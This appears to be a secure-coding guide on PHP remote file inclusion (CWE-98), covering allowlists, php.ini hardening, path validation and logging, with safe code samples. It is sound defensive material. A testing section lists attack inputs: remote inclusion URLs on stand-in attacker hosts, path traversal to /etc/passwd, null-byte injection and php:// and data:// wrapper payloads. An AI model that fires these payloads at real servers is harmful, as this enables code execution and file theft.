CWE-98: PHP Remote File Inclusion
Overview
Remote File Inclusion (RFI) in PHP occurs when untrusted input is used in file inclusion functions (e.g., include, require) without proper validation, allowing attackers to execute arbitrary code from remote sources. Untrusted input can originate from HTTP requests, external APIs, databases, files, cookies, or any source outside the application's control.
OWASP Classification
A05:2025 - Injection
Risk
Critical: Attackers can execute arbitrary PHP code, compromise the server, and gain full control of the application.
Remediation Steps
Core principle: Never allow untrusted input to select files for inclusion or execution; includes must resolve only to server-controlled, allowlisted local files, and remote inclusion must be disabled.
Trace the Data Path
Analyze how untrusted data reaches file inclusion:
- Source: Identify where untrusted data enters (HTTP requests, external files, databases, network requests, cookies)
- Path Construction: Look for string concatenation or direct use in include/require
- Sink: Locate file inclusion functions (
include,require,include_once,require_once) - Remote Access: Check if URLs are allowed in inclusion
Use Allowlists for Included Files (Primary Defense)
Never use untrusted data directly in include/require:
- Define allowed files: Maintain explicit list of permitted includes
- Map untrusted input to allowlist: Validate input against pre-defined safe values, system maps to actual file
- Exact matching only: No partial matches or pattern matching
- Example:
<?php
$allowed = ['home.php', 'about.php', 'contact.php'];
$page = $_GET['page'];
if (in_array($page, $allowed, true)) {
include($page);
} else {
include('home.php'); // default
}
Why this works: Users can only trigger inclusion of pre-approved files.
Disable Dangerous PHP Settings
Harden PHP configuration:
- Set
allow_url_include=Off: Prevents remote file inclusion - Set
allow_url_fopen=Off: Disables URL access in file functions - Restrict file inclusion to local files only
- Configure in php.ini or .htaccess
Validate and Sanitize File Paths
If dynamic inclusion is required:
- Reject dangerous patterns: Paths containing
.., URLs (http://,ftp://), or null bytes - Use realpath(): Resolve symlinks and validate canonical path
- Verify containment: Ensure resolved path stays within allowed directory
- Remove special characters: Strip path separators, null bytes
<?php
$base_dir = '/var/www/includes/';
$file = basename($_GET['file']); // Remove directory components
$full_path = realpath($base_dir . $file . '.php');
if ($full_path && strpos($full_path, $base_dir) === 0) {
include($full_path);
}
Monitor and Log Inclusion Attempts
Enable detection:
- Log all file inclusion operations with requested paths
- Alert on failed inclusions: Track rejected or suspicious paths
- Monitor for URL patterns: Detect
http://,ftp://,data://in inputs - Review logs regularly: Identify attack attempts
Test with RFI/LFI Payloads
Verify your fixes:
- Remote file inclusion:
http://evil.com/shell.txt,ftp://attacker.com/code.php - Local file inclusion:
../../../../etc/passwd,..\..\..\windows\system.ini - Null byte injection:
allowed.php%00../../etc/passwd - URL wrappers:
php://input,data://text/plain;base64,PHNjcmlwdD4... - Ensure legitimate includes still work
- Re-scan with security scanner
Dynamic Scan Guidance
For guidance on remediating this CWE when detected by dynamic (DAST) scanners:
- Dynamic Scan Guidance - Analyzing DAST findings and mapping to source code
Common Vulnerable Patterns
- Using untrusted input in include/require without validation
- Allowing remote URLs in file inclusion
Direct User Input in File Inclusion (PHP)
Secure Patterns
Allowlist-Based File Inclusion (PHP)
<?php
// Use allowlist for safe includes
$allowed = ['home.php', 'about.php', 'contact.php'];
$page = $_GET['page'];
if (in_array($page, $allowed, true)) {
include($page);
} else {
include('home.php'); // Safe default
}
Why this works:
- Restricts file inclusion to a pre-approved allowlist, preventing arbitrary file access
- User input never directly controls the file path, eliminating remote/local file inclusion
- Uses strict comparison (true parameter) to prevent type juggling attacks
- Falls back to a safe default when input doesn't match, preventing error disclosure
- Combined with
allow_url_include=Off, completely blocks remote file inclusion vectors